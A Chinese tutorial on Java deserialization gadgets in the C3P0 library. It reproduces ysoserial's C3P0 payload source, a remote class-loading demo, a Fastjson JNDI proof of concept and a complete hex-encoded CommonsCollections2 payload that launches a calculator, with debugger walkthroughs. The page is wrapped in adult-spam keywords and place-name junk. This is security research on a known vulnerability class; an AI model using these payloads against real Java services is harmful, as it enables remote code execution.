最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

淺談Java安全之C3P0的使用

 更新時(shí)間:2022年01月28日 10:11:50   作者:Zh1z3ven  
本文主要介紹了淺談Java安全之C3P0的使用,文中通過(guò)示例代碼介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下

寫(xiě)在前面

很久以前就聽(tīng)nice0e3師傅說(shuō)打Fastjson可以試試C3P0,當(dāng)時(shí)還不會(huì)java(雖然現(xiàn)在也沒(méi)會(huì)多少)也就沒(méi)有深究。最近調(diào)試Fastjson的漏洞,又想到了這個(gè)點(diǎn),就拿出來(lái)學(xué)習(xí)下。

C3P0 Gadget

C3P0中有三種利用方式

  • http base
  • JNDI
  • HEX序列化字節(jié)加載器

下面來(lái)一點(diǎn)點(diǎn)看他們究竟是怎樣使用的。

先貼上ysoserial項(xiàng)目中C3P0 Gadget的源碼:

package ysoserial.payloads;


import java.io.PrintWriter;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;

import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;


/**
 *
 *
 * com.sun.jndi.rmi.registry.RegistryContext->lookup
 * com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
 * com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject
 *
 * Arguments:
 * - base_url:classname
 *
 * Yields:
 * - Instantiation of remotely loaded class
 *
 * @author mbechler
 *
 */
@PayloadTest ( harness="ysoserial.test.payloads.RemoteClassLoadingTest" )
@Dependencies( { "com.mchange:c3p0:0.9.5.2" ,"com.mchange:mchange-commons-java:0.2.11"} )
@Authors({ Authors.MBECHLER })
public class C3P0 implements ObjectPayload<Object> {
    public Object getObject ( String command ) throws Exception {
        int sep = command.lastIndexOf(':');
        if ( sep < 0 ) {
            throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
        }

        String url = command.substring(0, sep);
        String className = command.substring(sep + 1);

        PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
        Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
        return b;
    }




    private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {

        private String className;
        private String url;

        public PoolSource ( String className, String url ) {
            this.className = className;
            this.url = url;
        }

        public Reference getReference () throws NamingException {
            return new Reference("exploit", this.className, this.url);
        }

        public PrintWriter getLogWriter () throws SQLException {return null;}
        public void setLogWriter ( PrintWriter out ) throws SQLException {}
        public void setLoginTimeout ( int seconds ) throws SQLException {}
        public int getLoginTimeout () throws SQLException {return 0;}
        public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
        public PooledConnection getPooledConnection () throws SQLException {return null;}
        public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}

    }


    public static void main ( final String[] args ) throws Exception {
        PayloadRunner.run(C3P0.class, args);
    }

}

http base

可以本地起一個(gè)反序列化的環(huán)境,導(dǎo)入c3p0的依賴(lài)

<dependency>
    <groupId>com.mchange</groupId>
    <artifactId>c3p0</artifactId>
    <version>0.9.5.2</version>
</dependency>

會(huì)導(dǎo)入下面兩個(gè)jar
c3p0-0.9.5.2.jar
mchange-commons-java-0.2.11.jar
在ysoserial項(xiàng)目中直接測(cè)試下

public static void main ( final String[] args ) throws Exception {
        // PayloadRunner.run(C3P0.class, args);
    C3P0 c3P0 = new C3P0();
    Object object = c3P0.getObject("http://127.0.0.1:9010/:calc");
    byte[] serialize = Serializer.serialize(object);
    ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(serialize);
    ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
    Object o = objectInputStream.readObject();
}

之后準(zhǔn)備個(gè)彈計(jì)算器的類(lèi),編譯成class,之后再起個(gè)http服務(wù)

import java.io.IOException;

public class calc {
    static{
        try {
            Runtime.getRuntime().exec("open -a Calculator");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

C3P0.getObject()

先來(lái)正向調(diào)試下序列化的過(guò)程
先跟進(jìn)看C3P0.getObject()前面是通過(guò)最后一個(gè):拿到url和需要遠(yuǎn)程加載的className

之后通過(guò)反射創(chuàng)建了一個(gè)PoolBackedDataSource對(duì)象

接著反射設(shè)置PoolBackedDataSourceBase類(lèi)中屬性connectionPoolDataSourcePoolSource對(duì)象

Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));

實(shí)例化時(shí)會(huì)把urlclassName即我們遠(yuǎn)程地址和惡意類(lèi)的類(lèi)名賦值給PoolSource的屬性

序列化

序列化時(shí)會(huì)調(diào)用com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#writeObject()方法,但是會(huì)拋出異常進(jìn)入catch部分

之后依然會(huì)調(diào)用writeObject方法

首先會(huì)先去indirector.indirectForm(this.connectionPoolDataSource),而this.connectionPoolDataSource的兩個(gè)屬性是我們的遠(yuǎn)程地址和惡意類(lèi)類(lèi)名
indirectForm方法邏輯如下:

 public IndirectlySerialized indirectForm(Object var1) throws Exception {
    Reference var2 = ((Referenceable)var1).getReference();
    return new ReferenceIndirector.ReferenceSerialized(var2, this.name, this.contextName, this.environmentProperties);
}

首先調(diào)用我們傳入對(duì)象的getReference方法,也即是PoolSource#getReference()該方法會(huì)實(shí)例化一個(gè)Reference對(duì)象

后面將生成的Reference對(duì)象作為參數(shù)傳遞進(jìn)ReferenceIndirector.ReferenceSerialized,調(diào)用有參構(gòu)造去實(shí)例化

反序列化

反序列化入口點(diǎn)應(yīng)在PoolBackedDataSourceBase#readObject()處,我們下個(gè)斷點(diǎn)跟進(jìn)去

而在readObject()中會(huì)去調(diào)用ReferenceIndirector.ReferenceSerialized#getObject()方法,這里單步調(diào)試進(jìn)不去,直接在getObject()方法內(nèi)下斷點(diǎn)F9跟進(jìn)去。這里并沒(méi)有調(diào)用lookup而是走到調(diào)用ReferenceableUtils.referenceToObject(),繼續(xù)跟

通過(guò)URLClassLoader遠(yuǎn)程加載類(lèi)造成遠(yuǎn)程代碼執(zhí)行

Class.forName()

在nice0e3師傅文章里看到的,這個(gè)點(diǎn)以前學(xué)反射的時(shí)候沒(méi)深入跟,這里深入學(xué)習(xí)一下。

這里如果可以控制forName?法的第?個(gè)和第三個(gè)參數(shù),并且第?個(gè)參數(shù)為 true,那么就可以利?BCEL, ClassLoader實(shí)現(xiàn)任意代碼加載執(zhí)? 。

首先可以把關(guān)鍵代碼摳出來(lái)

ClassLoader var6 = Thread.currentThread().getContextClassLoader();
String var4 = "calc";
URL var8 = new URL("http://127.0.0.1:9010");
var7 = new URLClassLoader(new URL[]{var8}, var6);
Class var12 = Class.forName(var4, true, (ClassLoader)var7);

調(diào)試下看看,進(jìn)入Class.forName()后首先去看是否設(shè)置了SecurityManager沒(méi)有的話(huà)則去調(diào)用forName0()

public static Class<?> forName(String name, boolean initialize,
                                   ClassLoader loader)
        throws ClassNotFoundException
{
    if (loader == null) {
        SecurityManager sm = System.getSecurityManager();
        if (sm != null) {
            ClassLoader ccl = ClassLoader.getCallerClassLoader();
            if (ccl != null) {
                sm.checkPermission(
                    SecurityConstants.GET_CLASSLOADER_PERMISSION);
            }
        }
    }
    return forName0(name, initialize, loader);
}

forName0()里是native代碼,底層是C/C++實(shí)現(xiàn),就跟不了了

private static native Class<?> forName0(String name, boolean initialize,
                                        ClassLoader loader)
    throws ClassNotFoundException;

官方文檔說(shuō)明:只有當(dāng) initialize參數(shù)是true并且之前沒(méi)有被初始化時(shí),類(lèi)才會(huì)被初始化。

Returns the Class object associated with the class or interface with the given string name, using the given class loader. Given the fully qualified name for a class or interface (in the same format returned by getName) this method attempts to locate, load, and link the class or interface. The specified class loader is used to load the class or interface. If the parameter loader is null, the class is loaded through the bootstrap class loader. The class is initialized only if the initialize parameter is true and if it has not been initialized earlier.

這里其實(shí)在審計(jì)的時(shí)候也可以關(guān)注下forName()的參數(shù)是否可控,可控的話(huà)就可以通過(guò)初始化來(lái)觸發(fā)代碼執(zhí)行

JNDI

利用姿勢(shì)

以Fastjson為例
PoC

{"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource","jndiName":"rmi://127.0.0.1:1099/badClassName", "loginTimeout":0}

調(diào)試分析

JNDI的話(huà)主要利用的是com.mchange.v2.c3p0.JndiRefForwardingDataSourceBase中的setjndiName()去設(shè)置我們遠(yuǎn)程ldap地址

最終走第二個(gè)if中this.pcs.firePropertyChange()方法

public void setJndiName(Object jndiName) throws PropertyVetoException {
    Object oldVal = this.jndiName;
    if (!this.eqOrBothNull(oldVal, jndiName)) {
        this.vcs.fireVetoableChange("jndiName", oldVal, jndiName);
    }

    this.jndiName = jndiName instanceof Name ? ((Name)jndiName).clone() : jndiName;
    if (!this.eqOrBothNull(oldVal, jndiName)) {
        this.pcs.firePropertyChange("jndiName", oldVal, jndiName);
    }

}

之后在解析到loginTimeout字段時(shí)會(huì)調(diào)用com.mchange.v2.c3p0JndiRefForwardingDataSource#setLoginTimeout()方法

public void setLoginTimeout(int seconds) throws SQLException {
    this.inner().setLoginTimeout(seconds);
}

inner()中,跟入this.dereference()

private synchronized DataSource inner() throws SQLException {
    if (this.cachedInner != null) {
        return this.cachedInner;
    } else {
        DataSource out = this.dereference();
        if (this.isCaching()) {
            this.cachedInner = out;
        }

        return out;
    }
}

在其中觸發(fā)了JNDI

先利用com.mchange.v2.c3p0.JndiRefDataSourceBase#setJndiName()設(shè)置遠(yuǎn)程ldap地址,之后通過(guò)com.mchange.v2.c3p0JndiRefForwardingDataSource#setLoginTimeout() ==> this.inner() ==> InitialContext.lookup()觸發(fā)JNDI

Hex序列化字節(jié)加載器

利用姿勢(shì)

這里其實(shí)就是常聽(tīng)到的就是用C3P0二次反序列化打Fastjson,因?yàn)橄馞astjson和Jackson在反序列化時(shí)都會(huì)觸發(fā)setter方法的執(zhí)行,而C3P0中userOverridesAsString的setter會(huì)將HexAsciiSerializedMap開(kāi)頭的hex字符串進(jìn)行解碼再去觸發(fā)Java原生的反序列化

PoC

{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:hex編碼內(nèi)容;"}}

先生成序列化payload,這里的payload注意是需要本地的另一條Gadget比如CC或者CB鏈,然后hex編碼一下拼到PoC里
CC2

? target java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "open -a Calculator" > calc.ser

    public static void main(String[] args) throws IOException, ClassNotFoundException {
        System.out.println("hello");
        InputStream in = new FileInputStream("/Users/sangfor/Downloads/ysoserial-master/target/calc.ser");
        byte[] data = toByteArray(in);
        in.close();
        String HexString = bytesToHexString(data, data.length);
        System.out.println(HexString);

    }

    public static byte[] toByteArray(InputStream in) throws IOException {
        byte[] classBytes;
        classBytes = new byte[in.available()];
        in.read(classBytes);
        in.close();
        return classBytes;
    }

    public static String bytesToHexString(byte[] bArray, int length) {
        StringBuffer sb = new StringBuffer(length);

        for(int i = 0; i < length; ++i) {
            String sTemp = Integer.toHexString(255 & bArray[i]);
            if (sTemp.length() < 2) {
                sb.append(0);
            }

            sb.append(sTemp.toUpperCase());
        }
        return sb.toString();
    }

Calc Hex String

ACED0005737200176A6176612E7574696C2E5072696F72697479517565756594DA30B4FB3F82B103000249000473697A654C000A636F6D70617261746F727400164C6A6176612F7574696C2F436F6D70617261746F723B787000000002737200426F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E5472616E73666F726D696E67436F6D70617261746F722FF984F02BB108CC0200024C00096465636F726174656471007E00014C000B7472616E73666F726D657274002D4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E73342F5472616E73666F726D65723B7870737200406F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E436F6D70617261626C65436F6D70617261746F72FBF49925B86EB13702000078707372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000E6E65775472616E73666F726D6572757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007704000000037372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C61737371007E000B4C00055F6E616D6571007E000A4C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF757200035B5B424BFD19156767DB37020000787000000001757200025B42ACF317F8060854E00200007870000006A6CAFEBABE0000003200390A0003002207003707002507002601001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C756505AD2093F391DDEF3E0100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010013537475625472616E736C65745061796C6F616401000C496E6E6572436C61737365730100354C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F61643B0100097472616E73666F726D010072284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B5B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B2956010008646F63756D656E7401002D4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B01000868616E646C6572730100425B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A457863657074696F6E730700270100A6284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B29560100086974657261746F720100354C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B01000768616E646C65720100414C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07002801003379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F6164010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C65740100146A6176612F696F2F53657269616C697A61626C65010039636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F5472616E736C6574457863657074696F6E01001F79736F73657269616C2F7061796C6F6164732F7574696C2F476164676574730100083C636C696E69743E0100116A6176612F6C616E672F52756E74696D6507002A01000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B0C002C002D0A002B002E0100126F70656E202D612043616C63756C61746F7208003001000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0C003200330A002B003401000D537461636B4D61705461626C6501001D79736F73657269616C2F50776E6572343835333735313638353139363001001F4C79736F73657269616C2F50776E657234383533373531363835313936303B002100020003000100040001001A000500060001000700000002000800040001000A000B0001000C0000002F00010001000000052AB70001B100000002000D00000006000100000036000E0000000C000100000005000F003800000001001300140002000C0000003F0000000300000001B100000002000D0000000600010000003B000E00000020000300000001000F0038000000000001001500160001000000010017001800020019000000040001001A00010013001B0002000C000000490000000400000001B100000002000D0000000600010000003F000E0000002A000400000001000F003800000000000100150016000100000001001C001D000200000001001E001F00030019000000040001001A00080029000B0001000C00000024000300020000000FA70003014CB8002F1231B6003557B1000000010036000000030001030002002000000002002100110000000A000100020023001000097074000450776E727077010078737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B02000078700000000178

回顯RCE,PoC參考safe6sec項(xiàng)目

Godzilla4 Memshell

調(diào)試分析

前面也提到了,主要是調(diào)用到userOverridesAsString的setter觸發(fā)了反序列化,跟進(jìn)去看一下

 this.vcs.fireVetoableChange("userOverridesAsString", oldVal, userOverridesAsString);

跟進(jìn)listeners[current].vetoableChange(event);

之后進(jìn)入WrapperConnectionPoolDataSource#setUpPropertyListeners()方法,其中調(diào)用了C3P0ImplUtils.parseUserOverridesAsString((String)val)去解析我們傳入的HexString

private void setUpPropertyListeners() {
    VetoableChangeListener setConnectionTesterListener = new VetoableChangeListener() {
        public void vetoableChange(PropertyChangeEvent evt) throws PropertyVetoException {
            String propName = evt.getPropertyName();
            Object val = evt.getNewValue();
            if ("connectionTesterClassName".equals(propName)) {
                try {
                    WrapperConnectionPoolDataSource.this.recreateConnectionTester((String)val);
                } catch (Exception var6) {
                    if (WrapperConnectionPoolDataSource.logger.isLoggable(MLevel.WARNING)) {
                        WrapperConnectionPoolDataSource.logger.log(MLevel.WARNING, "Failed to create ConnectionTester of class " + val, var6);
                    }

                    throw new PropertyVetoException("Could not instantiate connection tester class with name '" + val + "'.", evt);
                }
            } else if ("userOverridesAsString".equals(propName)) {
                try {
                    WrapperConnectionPoolDataSource.this.userOverrides = C3P0ImplUtils.parseUserOverridesAsString((String)val);
                } catch (Exception var5) {
                    if (WrapperConnectionPoolDataSource.logger.isLoggable(MLevel.WARNING)) {
                        WrapperConnectionPoolDataSource.logger.log(MLevel.WARNING, "Failed to parse stringified userOverrides. " + val, var5);
                    }

                    throw new PropertyVetoException("Failed to parse stringified userOverrides. " + val, evt);
                }
            }

        }
    };
    this.addVetoableChangeListener(setConnectionTesterListener);
}

繼續(xù)跟進(jìn),利用subString截取了HexAsciiSerializedMap之后的Hex編碼字符串,交給ByteUtils.fromHexAscii(hexAscii)把Hex轉(zhuǎn)成bytes數(shù)組,之后調(diào)用SerializableUtils.fromByteArray(serBytes)處理

調(diào)用了deserializeFromByteArray方法,之后進(jìn)入Java原生的readObject()

Reference

https://www.cnblogs.com/nice0e3/p/15058285.html
http://redteam.today/2020/04/18/c3p0的三個(gè)gadget/
https://github.com/safe6Sec/Fastjson

到此這篇關(guān)于淺談Java安全之C3P0的使用的文章就介紹到這了,更多相關(guān)Java C3P0內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • 淺析Spring IOC bean為什么默認(rèn)是單例

    淺析Spring IOC bean為什么默認(rèn)是單例

    單例的意思就是說(shuō)在 Spring IoC 容器中只會(huì)存在一個(gè) bean 的實(shí)例,無(wú)論一次調(diào)用還是多次調(diào)用,始終指向的都是同一個(gè) bean 對(duì)象,本文小編將和大家一起分析Spring IOC bean為什么默認(rèn)是單例,需要的朋友可以參考下
    2023-12-12
  • Spring中SpEL表達(dá)式的使用全解

    Spring中SpEL表達(dá)式的使用全解

    SpEL是Spring框架中用于表達(dá)式語(yǔ)言的一種方式,本文主要介紹了Spring中SpEL表達(dá)式的使用全解,文中通過(guò)示例代碼介紹的非常詳細(xì),需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧
    2024-04-04
  • 自定義feignClient的常見(jiàn)坑及解決

    自定義feignClient的常見(jiàn)坑及解決

    這篇文章主要介紹了自定義feignClient的常見(jiàn)坑及解決方案,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。如有錯(cuò)誤或未考慮完全的地方,望不吝賜教
    2021-10-10
  • 利用Spring Boot創(chuàng)建docker image的完整步驟

    利用Spring Boot創(chuàng)建docker image的完整步驟

    這篇文章主要給大家介紹了關(guān)于如何利用Spring Boot創(chuàng)建docker image的完整步驟,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧
    2020-08-08
  • mybatis 無(wú)參構(gòu)造器的使用

    mybatis 無(wú)參構(gòu)造器的使用

    本文主要介紹了MyBatis中無(wú)參構(gòu)造器的重要性和應(yīng)用,無(wú)參構(gòu)造器在Java類(lèi)中具有特殊的意義,它確保了即使在沒(méi)有提供任何參數(shù)的情況下,也能夠創(chuàng)建對(duì)象并對(duì)其進(jìn)行初始化,下面就來(lái)介紹一下
    2024-10-10
  • 淺談Java安全之C3P0的使用

    淺談Java安全之C3P0的使用

    本文主要介紹了淺談Java安全之C3P0的使用,文中通過(guò)示例代碼介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下
    2022-01-01
  • IDEA 創(chuàng)建多級(jí)文件夾的操作

    IDEA 創(chuàng)建多級(jí)文件夾的操作

    這篇文章主要介紹了IDEA 創(chuàng)建多級(jí)文件夾的操作,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過(guò)來(lái)看看吧
    2021-02-02
  • JAVA?module-info.java文件詳解

    JAVA?module-info.java文件詳解

    這篇文章主要介紹了JAVA?module-info.java文件詳解,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。如有錯(cuò)誤或未考慮完全的地方,望不吝賜教
    2022-01-01
  • Java進(jìn)程間通信之消息隊(duì)列

    Java進(jìn)程間通信之消息隊(duì)列

    這篇文章主要為大家詳細(xì)介紹了Java進(jìn)程間通信之消息隊(duì)列,文中示例代碼介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下,希望能夠給你帶來(lái)幫助
    2022-03-03
  • 淺談使用java解析和生成JSON

    淺談使用java解析和生成JSON

    在www.json.org上公布了很多JAVA下的json構(gòu)造和解析工具,其中g(shù)oogle-gson和org.json比較簡(jiǎn)單,兩者使用上差不多但還是有些區(qū)別。下面我們就來(lái)分別介紹下用他們構(gòu)造和解析Json數(shù)據(jù)的方法示例。
    2015-08-08

最新評(píng)論

斗六市| 山阴县| SHOW| 胶南市| 郸城县| 济源市| 孝昌县| 炎陵县| 景德镇市| 淅川县| 南康市| 潞城市| 青铜峡市| 织金县| 莱州市| 山西省| 南皮县| 安塞县| 红安县| 中西区| 吴川市| 平湖市| 美姑县| 漠河县| 海南省| 丹东市| 名山县| 泰来县| 新野县| 周至县| 利辛县| 宝兴县| 黔南| 南陵县| 丹巴县| 图木舒克市| 绿春县| 牡丹江市| 遵义县| 疏附县| 麻阳|